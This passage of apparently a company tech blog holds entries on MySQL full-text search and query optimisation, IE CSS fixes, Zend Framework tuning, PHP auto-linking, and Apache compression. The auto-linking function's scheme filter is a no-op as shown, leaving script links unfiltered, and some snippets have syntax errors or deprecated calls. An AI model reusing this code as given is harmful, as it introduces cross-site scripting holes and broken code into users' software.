to(#faa51a));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f47a20,  #faa51a);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f47a20\', endColorstr=\'#faa51a\');\r\n\r\n&nbsp;\r\n\r\n}\r\n&lt;/style&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;div style=\"width:100px;\"&gt;Collabor&lt;/div&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;input type=\"button\" name=\"Collabor\" value=\"collabor\"/&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/body&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;/html&gt;\r\n\r\n<span style=\"text-decoration: underline;\">24.</span>  <span style=\"text-decoration: underline;\">Blog24:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Boolean Full-Text Searches\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nMySQL can perform boolean full-text searches using the IN BOOLEAN MODE modifier. With this modifier, certain characters have special meaning at the beginning or end of words in the search string. In the following query, the + and - operators indicate that a word is required to be present or absent, respectively, for a match to occur. Thus, the query retrieves all the rows that contain the word “test” but that do <i>not</i> contain the word “event”:\r\n\r\n<b>SELECT * FROM events WHERE MATCH (event_title)</b> <b>AGAINST (\'+Test -Event\' IN BOOLEAN MODE);</b>\r\n\r\n<b> </b>\r\n\r\nNote:\r\n\r\nIn implementing this feature, MySQL uses what is sometimes referred to as <i>implied Boolean logic</i>, in which\r\n<ul>\r\n	<li>+ stands for AND</li>\r\n	<li>- stands for NOT</li>\r\n	<li>[<i>no operator</i>] implies OR</li>\r\n</ul>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBoolean full-text searches have these characteristics:\r\n<ul>\r\n	<li>They do not use the 50% threshold.</li>\r\n	<li>They do not automatically sort rows in order of decreasing relevance. You can see this from the preceding query result: The row with the highest relevance is the one that contains “MySQL” twice, but it is listed last, not first.</li>\r\n	<li>They can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow.</li>\r\n	<li>The minimum and maximum word length full-text parameters apply.</li>\r\n	<li>The stopword list applies.</li>\r\n</ul>\r\nThe boolean full-text search capability supports the following operators:\r\n<ul>\r\n	<li>+</li>\r\n</ul>\r\nA leading plus sign indicates that this word <i>must</i> be present in each row that is returned.\r\n<ul>\r\n	<li>-</li>\r\n</ul>\r\nA leading minus sign indicates that this word must <i>not</i> be present in any of the rows that are returned.\r\n\r\nNote: The - operator acts only to exclude rows that are otherwise matched by other search terms. Thus, a boolean-mode search that contains only terms preceded by - returns an empty result. It does not return “all rows except those containing any of the excluded terms.”\r\n<ul>\r\n	<li>(no operator)</li>\r\n</ul>\r\nBy default (when neither + nor - is specified) the word is optional, but the rows that contain it are rated higher. This mimics the behavior of <a href=\"http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html#function_match\">MATCH() ... AGAINST()</a> without the IN BOOLEAN MODE modifier.\r\n<ul>\r\n	<li>&gt; &lt;</li>\r\n</ul>\r\nThese two operators are used to change a word\'s contribution to the relevance value that is assigned to a row. The &gt; operator increases the contribution and the &lt; operator decreases it. See the example following this list.\r\n<ul>\r\n	<li>( )</li>\r\n</ul>\r\nParentheses group words into subexpressions. Parenthesized groups can be nested.\r\n<ul>\r\n	<li>~</li>\r\n</ul>\r\nA leading tilde acts as a negation operator, causing the word\'s contribution to the row\'s relevance to be negative. This is useful for marking “noise” words. A row containing such a word is rated lower than others, but is not excluded altogether, as it would be with the - operator.\r\n<ul>\r\n	<li>*</li>\r\n</ul>\r\nThe asterisk serves as the truncation (or wildcard) operator. Unlike the other operators, it should be <i>appended</i> to the word to be affected. Words match if they begin with the word preceding the * operator.\r\n\r\nIf a word is specified with the truncation operator, it is not stripped from a boolean query, even if it is too short (as determined from the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len</a> setting) or a stopword. This occurs because the word is not seen as too short or a stopword, but as a prefix that must be present in the document in the form of a word that begins with the prefix. Suppose that <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len=4</a>. ft_min_word_len=4. Then a search for \'+<i>word</i> +the*\' will likely return fewer rows than a search for \'+<i>word</i> +the\':\r\n\r\no        The former query remains as is and requires both <i>word</i> and the* (a word starting with the) to be present in the document.\r\n\r\no        The latter query is transformed to +<i>word</i> (requiring only <i>word</i> to be present). the is both too short and a stopword, and either condition is enough to cause it to be ignored.\r\n<ul>\r\n	<li>\"</li>\r\n</ul>\r\nA phrase that is enclosed within double quote (“\"”) characters matches only rows that contain the phrase <i>literally, as it was typed</i>. The full-text engine splits the phrase into words and performs a search in the FULLTEXT index for the words. Prior to MySQL 5.0.3, the engine then performed a substring search for the phrase in the records that were found, so the match must include nonword characters in the phrase. As of MySQL 5.0.3, nonword characters need not be matched exactly: Phrase searching requires only that matches contain exactly the same words as the phrase and in the same order. For example, \"test phrase\" matches \"test, phrase\" in MySQL 5.0.3, but not before.\r\n\r\nIf the phrase contains no words that are in the index, the result is empty. For example, if all words are either stopwords or shorter than the minimum length of indexed words, the result is empty.\r\n\r\nThe following examples demonstrate some search strings that use boolean full-text operators:\r\n<ul>\r\n	<li>\'apple banana\'</li>\r\n</ul>\r\nFind rows that contain at least one of the two words.\r\n<ul>\r\n	<li>\'+apple +juice\'</li>\r\n</ul>\r\nFind rows that contain both words.\r\n<ul>\r\n	<li>\'+apple macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but rank rows higher if they also contain “macintosh”.\r\n<ul>\r\n	<li>\'+apple -macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple” but not “macintosh”.\r\n<ul>\r\n	<li>\'+apple ~macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but if the row also contains the word “macintosh”, rate it lower than if row does not. This is “softer” than a search for \'+apple -macintosh\', for which the presence of “macintosh” causes the row not to be returned at all.\r\n<ul>\r\n	<li>\'+apple +(&gt;turnover &lt;strudel)\'</li>\r\n</ul>\r\nFind rows that contain the words “apple” and “turnover”, or “apple” and “strudel” (in any order), but rank “apple turnover” higher than “apple strudel”.\r\n<ul>\r\n	<li>\'apple*\'</li>\r\n</ul>\r\nFind rows that contain words such as “apple”, “apples”, “applesauce”, or “applet”.\r\n<ul>\r\n	<li>\'\"some words\"\'</li>\r\n</ul>\r\nFind rows that contain the exact phrase “some words” (for example, rows that contain “some words of wisdom” but not “some noise words”). Note that the “\"” characters that enclose the phrase are operator characters that delimit the phrase. They are not the quotation marks that enclose the search string itself.\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">25.</span>  <span style=\"text-decoration: underline;\">Blog25:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Check your website loads and performance with HttpWatch\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nHttpWatch integrates with Internet Explorer and Firefox browsers to show you exactly what HTTP traffic is triggered when you access a web page. If you access a site that uses secure HTTPS connections, HttpWatch automatically displays the decrypted form of the network traffic.\r\n\r\nReference Site : <a href=\"http://www.httpwatch.com/features.htm\" target=\"_blank\">http://www.httpwatch.com/features.htm</a>\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">26.</span>  <span style=\"text-decoration: underline;\">Blog26:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  The Power Of ZOOM - Fixing CSS Issues In Internet Explorer\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nI think we\'ve all experienced how frustrating it can be to do cross-browser testing with CSS-based web sites. Why is it that Internet Explorer (IE) never seems to play nicely with good, solid CSS markup?!? Anyway, I just thought I\'d share one technique that I\'ve found to be extremely helpful. When I have some CSS that just won\'t work in IE, I see if adding a ZOOM property of 1 (one) will help.\r\n\r\ndiv {\r\n\r\nzoom:1;\r\n\r\n}\r\n\r\nI have to say, 90% of the time, this fixes the display issues that I am having in IE... and, it does so without adversely affecting any of the other browsers (that I have tested). I guess you could call this an IE-hack since I believe the zoom property is only supported by Internet Explorer.\r\n\r\nI am not exactly sure why this works, but it has something to do with what you are trying to accomplish and the concept of an element having a \"layout\". In IE, some elements have a \"hasLayout\" property that is true by default. This is required for many visual settings; for example, an alpha filter only works on an element that hasLayout. So, why does {Zoom:1} work? It gives the target elements the hasLayout property.\r\n\r\nThere\'s a bunch of other things you can do to fix rendering issues in IE, but I have found {zoom:1} to be the lowest hanging fruit.\r\n\r\nReference Site : <a href=\"http://www.satzansatz.de/cssd/onhavinglayout.html\" target=\"_blank\">http://www.satzansatz.de/cssd/onhavinglayout.html</a>\r\n\r\n<span style=\"text-decoration: underline;\">27.</span>  <span style=\"text-decoration: underline;\">Blog27:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Mysql query optimizations in where clause\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> :Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<strong>Iam listing some of the points to optimize  mysql query  : </strong>\r\nThese are things we need to remember while writing the queries .\r\n\r\n·         Removal of unnecessary parentheses:\r\n\r\n((a AND b) AND c OR (((a AND b) AND (c AND d))))\r\n-&gt; (a AND b AND c) OR (a AND b AND c AND d)-\r\n<ul>\r\n	<li>  Constant folding:</li>\r\n</ul>\r\n(a&lt;b AND b=c) AND a=5\r\n-&gt; b&gt;5 AND b=c AND a=5\r\n<ul>\r\n	<li> Constant condition removal (needed because of constant folding):</li>\r\n</ul>\r\n(B&gt;=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6)\r\n-&gt; B=5 OR B=6\r\n<ul>\r\n	<li>  Constant expressions used by indexes are evaluated only once.</li>\r\n	<li>  COUNT(*) on a single table without a WHERE is retrieved directly from the table information for MyISAM and MEMORY tables. This is also done for any NOT NULL expression when used with only one table.</li>\r\n	<li>Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.</li>\r\n	<li>HAVING is merged with WHERE if you do not use GROUP BY or aggregate functions (COUNT(), MIN(), and so on).</li>\r\n	<li>For each table in a join, a simpler WHERE is constructed to get a fast WHERE evaluation for the table and also to skip rows as soon as possible.</li>\r\n	<li>All constant tables are read first before any other tables in the query. A constant table is any of the following:</li>\r\n</ul>\r\no    An empty table or a table with one row.\r\no    A table that is used with a WHERE clause on a PRIMARY KEY or a UNIQUE index, where all   index parts are compared to constant expressions and are defined as NOT NULL.\r\nAll of the following tables are used as constant tables:\r\nSELECT * FROM t WHERE primary_key=1;\r\nSELECT * FROM t1,t2\r\nWHERE t1.primary_key=1 AND t2.primary_key=t1.id;\r\n<ul>\r\n	<li>The best join combination for joining the tables is found by trying all possibilities. If all columns in ORDER BY and GROUP BY clauses come from the same table, that table is preferred first when joining.</li>\r\n	<li>If there is an ORDER BY clause and a different GROUP BY clause, or if the ORDER BY or GROUP BY contains columns from tables other than the first table in the join queue, a temporary table is created.</li>\r\n	<li>  If you use the SQL_SMALL_RESULT option, MySQL uses an in-memory temporary table.</li>\r\n	<li> Each table index is queried, and the best index is used unless the optimizer believes that it is more efficient to use a table scan. At one time, a scan was used based on whether the best index spanned more than 30% of the table, but a fixed percentage no longer determines the choice between using an index or a scan. The optimizer now is more complex and bases its estimate on additional factors such as table size, number of rows, and I/O block size.</li>\r\n	<li> In some cases, MySQL can read rows from the index without even consulting the data file. If all columns used from the index are numeric, only the index tree is used to resolve the query.</li>\r\n	<li> Before each row is output, those that do not match the HAVING clause are skipped.</li>\r\n</ul>\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">28.</span>  <span style=\"text-decoration: underline;\">Blog28:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Optimize tables and database in MySQL automatically with PHP\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<strong>Optimize Mysql Database Table:</strong>\r\n\r\nThe Following Command will show the present status of the Database Table\r\n<pre>show table status like \'mytablename\';</pre>\r\n<pre></pre>\r\n<pre>The following command will optimize the Database Table</pre>\r\n<pre></pre>\r\n<pre>optimize table mytablename;</pre>\r\n<pre></pre>\r\n<pre><strong>Optimize Database in MySQL automatically with PHP  </strong></pre>\r\n<pre></pre>\r\n<pre>The Following Script Will Optimize the entire database.</pre>\r\n<pre>We don\'t have the direct command to optimize the entire database.<strong> </strong></pre>\r\n<pre></pre>\r\n<pre></pre>\r\n<pre>$res = mysql_query(\'SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400\');</pre>\r\n<pre>while($row = mysql_fetch_assoc($res)) {</pre>\r\n<pre>  mysql_query(\'OPTIMIZE TABLE \' . $row[\'Name\']);</pre>\r\n<pre>}</pre>\r\n<pre><strong>    Step1:   </strong>SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400</pre>\r\n<pre>             In this step we will get the tables</pre>\r\n<pre><strong>    Step2:</strong>   It will optimize the each and every table individually</pre>\r\n<pre></pre>\r\n<span style=\"text-decoration: underline;\">29.</span>  <span style=\"text-decoration: underline;\">Blog29:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Zend Framework Performance Optimization\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\n<b>                   </b><b>Zend Framework Performance Optimization</b>\r\n\r\n<b> </b>\r\n\r\n<b>What is Application Performance</b>\r\n\r\nApplication performance is meant by how quickly your script executes, How many requests handling per second.\r\n\r\nIt is often forgotten that to the end user none of these measurements are in any way relevant. To the end user, the only performance metric that ever matters is how quickly the page they requested loads, and how quickly they can do whatever they want to do.\r\n\r\nIn this white paper I am describing the techniques to improve the performance of Zend Framework.\r\n\r\n&nbsp;\r\n\r\n<b>Why Zend Framework</b>\r\n\r\nZend Framework is a  open-source software framework for PHP 5 designed to eliminate the tedious details of coding and let you focus on the big picture. Its strength is in its highly-modular MVC design, making your code more reusable and easier to maintain.\r\n\r\nHas inbuilt API services  for google, Amazon, yahoo, flicker and etc.\r\n\r\n&nbsp;\r\n\r\n<b>Zend Framework performance optimization</b>\r\n\r\nThe following are the few ways to optimize your Zend Framework.\r\n\r\n1)<b>optimize include_path:</b> Define your Zend Framework include_path as early as passable by using the realpath() function in php. Reduce the number of include paths  as less as passable.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">define(\'APPLICATION_PATH\', realpath(dirname(__FILE__)));\r\n\r\n$paths = array(\r\n\r\nAPPLICATION_PATH . \'/../library\'),\r\n\r\n\'.\',\r\n\r\n);\r\n\r\nset_include_path(implode(PATH_SEPARATOR, $paths);</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n2) <b>Eliminate unnecessary require_once statements:</b>Using require_once to load the Zend Framework library classes is a bottleneck. Instead of using the require_once use <b><i>Zend_Loader_Autoloader</i></b><b>,</b> autoloading  is a concept of optimization technique designed to push the expensive operation of loading a class file until the last possible moment -- i.e., when instantiating an object of that class, calling a static class method, or referencing a class constant or static property. Add the following code in your bootstrap file.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">require_once \'Zend/Loader/Autoloader.php\';\r\n\r\nZend_Loader_Autoloader::getInstance();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nHowever, most benefits you may reap from autoloading are negated if your library code is still performing require_once() calls.  Use the following command to strip require_once statements in Unix systems.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">% cd path/to/ZendFramework/library\r\n\r\n% find . -name \'*.php\' -not -wholename \'*/Loader/Autoloader.php\' \\  -not -wholename \'*/Application.php\' -print0 | \\  xargs -0 sed --regexp-extended --in-place \'s/(require_once)/\\/\\/ \\1/g\'</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n3) <b>Optimize Zend translation:</b> Zend Framework provides a variety of translation adapters like array, csv, ini and gettext. Use translation cache to speed up the translation.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nZend_Translate::setCache($cache);\r\n\r\n$translate = new Zend_Translate(\r\n\r\narray(\r\n\r\n\'adapter\' =&gt; \'gettext\',\r\n\r\n\'content\' =&gt; \'/path/to/translate.mo\',\r\n\r\n\'locale\'  =&gt; \'en\'\r\n\r\n)\r\n\r\n);\r\n\r\n// to clear the cache somewhere later in your code\r\n\r\nZend_Translate::clearCache();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n4) <b>Use zend_cache  to cache your content:</b> Cache the database results using the zend_cache if they are not changing frequently.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">    $frontendOptions = array( \'lifetime\' =&gt; 7200, // cache lifetime of 2 hours\r\n\r\n\'automatic_serialization\' =&gt; true\r\n\r\n);\r\n\r\n$backendOptions = array(\r\n\r\n\'cache_dir\' =&gt; \'./tmp/\' // Directory where to put the cache files\r\n\r\n);\r\n\r\n// getting a Zend_Cache_Core object\r\n\r\n$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nBy using the above code you can initialized the cache\r\n\r\n// see if a cache already exists:\r\n\r\nif( ($result = $cache-&gt;load(\'myresult\')) === false ) {\r\n\r\n&nbsp;\r\n\r\n// cache miss; connect to the database\r\n\r\n//Write code to fetch the db results\r\n\r\n} else {\r\n\r\n// cache hit! shout so that we know\r\n\r\necho \"This one is from cache!\\n\\n\";\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nprint_r($result);\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b> </b>\r\n\r\n<b>Opcode caching</b>\r\n\r\n<b> </b>\r\n\r\nEvery time a PHP script executes, it goes through a number of steps to get from the version you wrote into something the PHP engine can understand and execute as logic called opcodes. This process is expensive from a performance perspective. Simply by introducing an opcode cache into your PHP technology stack, it is possible\r\n\r\nto increase the speed of your script executions from anywhere to 50 percent to 200 percent.\r\n\r\nThough you optimized your Zend Framework you need to cache your php script.\r\n\r\n&nbsp;\r\n\r\nThere are many options available, in those I am using apc to cache my opcodes.\r\n\r\nThe below code is used to cache the php code in to opcodes.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">if (!function_exists(\'apc_compile_file\')) {\r\n\r\necho \"ERROR: apc_compile_file does not exist!\";\r\n\r\nexit(1);\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n/**\r\n\r\n* Compile Files for APC\r\n\r\n* The function runs through each directory and\r\n\r\n* compiles each *.php file through apc_compile_file\r\n\r\n*/\r\n\r\nfunction compilefilesToApc($dir)\r\n\r\n{\r\n\r\n$dirs = glob($dir . DIRECTORY_SEPARATOR . \'*\', GLOB_ONLYDIR);\r\n\r\nif (is_array($dirs) &amp;&amp; count($dirs) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($dirs)) {\r\n\r\ncompilefilesToApc($v);\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$files = glob($dir . DIRECTORY_SEPARATOR . \'*.php\');\r\n\r\nif (is_array($files) &amp;&amp; count($files) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($files))\r\n\r\n{\r\n\r\napc_compile_file($v);\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\ncompilefilesToApc(\'/path/to/dir\');\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<pre></pre>\r\n<span style=\"text-decoration: underline;\">30.</span>  <span style=\"text-decoration: underline;\">Blog30:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Making text as hot links\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\n&nbsp;\r\n\r\nA lot of times we upload or post description to the site using textareas. If  that text contains any urls then the below code will convert  them as hot links while displaying to the user.\r\n\r\nThis will not only convert the urls but also recognize emails and add a mailto tag to them.\r\n\r\nfunction clickable_link($text,$anchor_class=\'\')\r\n{\r\n$text = preg_replace(\'#(script|about|applet|activex|chrome):#is\', \"\\\\1:\", $text);\r\n// pad it with a space so we can match things at the start of the 1st line.\r\n$ret = \' \' . $text;\r\n\r\n//this will remove the id=\" | id=\' from the text which will eliminate classes and scripts\r\n$ret = preg_replace(\"#(\\id[\\s]{0,1}=\\\"[^\\\"]*\\\"|\\id[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\\\"[^\\\"]*\\\")#i\", \" \", $ret);\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([\\w]+?://[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches a \"www|ftp.xxxx.yyyy[/zzzz]\" kinda lazy URL thing\r\n// Must contain at least 2 dots. xxxx contains either alphanum, or \"-\"\r\n// zzzz is optional.. will contain everything up to the first space, newline,\r\n// comma, double quote or &lt;.\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])((www|ftp)\\.[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"http://\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches an email@domain type address at the start of a line, or after a space.\r\n// Note: Only the followed chars are valid; alphanums, \"-\", \"_\" and or \".\".\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([a-zA-Z]{1})([a-z0-9&amp;\\-_.]+?)@([\\w\\-]+\\.([\\w\\-\\.]+\\.)*[\\w]+)#i\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"mailto:\\\\2\\\\3@\\\\4\\\"&gt;\\\\2\\\\3@\\\\4&lt;/a&gt;\", $ret);\r\n\r\n//remove starting space that we added\r\n$ret = substr($ret, 1);\r\n\r\nreturn $ret;\r\n}\r\n\r\n<span style=\"text-decoration: underline;\">31.</span>  <span style=\"text-decoration: underline;\">Blog31:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Fetching Facebook, twitter button values in php\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\nTo get Facebook likes, share, comments\r\n\r\n$source_url = \"http://www.flightpodcast.com/episode-6-john-bartels-qantas-qf30\";\r\n$url = \"http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=\".urlencode($source_url);\r\n$xml = file_get_contents($url);\r\n$xml = simplexml_load_string($xml);\r\necho \"&lt;b&gt;Shares:&lt;/b&gt; \".$shares = $xml-&gt;link_stat-&gt;share_count;\r\necho \"&lt;b&gt;Likes:&lt;/b&gt; \".$likes = $xml-&gt;link_stat-&gt;like_count;\r\necho \"&lt;b&gt;Comments:&lt;/b&gt; \".$comments = $xml-&gt;link_stat-&gt;comment_count;\r\necho \"&lt;b&gt;Total:&lt;/b&gt; \".$total = $xml-&gt;link_stat-&gt;total_count;\r\nTo get Twitter retweets\r\n\r\n$url = urlencode($url);\r\n$twitterEndpoint = \"http://urls.api.twitter.com/1/urls/count.json?url=%s\";\r\n$fileData = file_get_contents(sprintf($twitterEndpoint, $url));\r\n$json = json_decode($fileData, true);\r\nunset($fileData);// free memory\r\necho $json[\'count\'];\r\n\r\n<span style=\"text-decoration: underline;\">32.</span>  <span style=\"text-decoration: underline;\">Blog32:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Getting a full Article from HTML page or RSS feed\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\n<pre><span style=\"text-decoration: underline;\"> </span></pre>\r\nThis Application is mainly used for to get full text articles from HTML page or RSS feed.\r\n\r\nDownload the code form zip file pass URL for getting the article.\r\n\r\n<a href=\"http://mycollabor.collabor.com/Uploads/media/full-text-rss-master.zip\" target=\"_blank\">Uploads/media/full-text-rss-master.zip</a>\r\n\r\n&nbsp;\r\n\r\nNote: This code work for 90% HTML and RSS feed.\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">33.</span>  <span style=\"text-decoration: underline;\">Blog33:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Executing PHP code on my existing yourpage.html page\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nWhen a web page is accessed, the server checks the extension to know how to handle the page. Generally speaking if it sees a .htm or .html file, it sends it right to the browser because it doesn\'t have anything to process on the server. If it sees a .php extension (or .shtml, or .asp, etc), it knows that it needs to execute the appropriate code before passing it along to the browser.\r\n\r\n<strong>Here is the problem</strong>: You find the perfect script, and you want to run it on your site, but you need to included PHP on your page for it to work. You could just rename your pages to yourpage.php instead of yourpage.html, but you already have incoming links or search engine ranking so you don\'t want to change the file name. What can you do?\r\n\r\nFirst let me preface this by saying that if you are creating a new file anyway, you may as well use .php. This is to help people who have existing .html pages they need to execute PHP on.\r\n\r\nThe way to execute PHP on a .html page is to modify your httpd.conf file.Then you just need to add this line IN httpd.conf file:\r\n<b>\r\n<strong>AddType application/x-httpd-php .html</strong>\r\n\r\n<strong>AddType application/x-httpd-php .htm</strong></b>\r\n\r\n<span style=\"text-decoration: underline;\">34.</span>  <span style=\"text-decoration: underline;\">Blog34:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Compressing Web content can produce a much faster site for users.\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\nReducing costs is a key consideration for every IT budget. One of the items looked at most closely is the cost of a company\'s bandwidth. Using content compression on a Web site is one way to reduce both bandwidth needs and cost. With that in mind, this article examines some of the compression modules available for Apache, specifically, mod_gzip for Apache 1.3.x and 2.0.x and mod_deflate for Apache 2.0.x.\r\n\r\nContent Compression Basics\r\n\r\nMost compression algorithms, when applied to a plain-text file, can reduce its size by 70% or more, depending on the content in the file. When using compression algorithms, the difference between standard and maximum compression levels is small, especially when you consider the extra CPU time necessary to process these extra compression passes. This is quite important when dynamically compressing Web content. Most software content compression techniques use a compression level of 6 (out of 9 levels) to conserve CPU cycles. The file size difference between level 6 and level 9 is usually so small as to be not worth the extra time involved.\r\n\r\nCompression in HTTP\r\n\r\nFor files identified as text/.* MIME types, compression can be applied to the file prior to placing it on the wire. This simultaneously reduces the number of bytes transferred and improves performance. Testing also has shown that Microsoft Office, StarOffice/OpenOffice and PostScipt files can be GZIP-encoded for transport by the compression modules.\r\n\r\nSome important MIME types that cannot be GZIP encoded are external JavaScript files, PDF files and image files. The problem with Javascript files mainly is due to bugs in browser software, as these files are really text files and overall performance would benefit by being compressed for transport. PDF and image files already are compressed, and attempting to compress them again simply makes them larger and leads to potential rendering issues with browsers.\r\n\r\nPrior to sending a compressed file to a client, it is vital that the server ensures the client receiving the data correctly understands and renders the compressed format. Browsers that understand compressed content send a variation of the following client request headers:\r\n<ul>\r\n	<li>Accept-encoding: gzip</li>\r\n	<li>Accept-encoding: gzip, deflate</li>\r\n</ul>\r\nCurrent major browsers include some variation of this message with every request they send. If the server sees the header and chooses to provide compressed content, it should respond with the server response header:\r\n\r\nContent-encoding: gzip\r\n\r\nThis header tells the receiving browser to decompress the content and parse it as it normally would. Alternatively, content may be passed to the appropriate helper 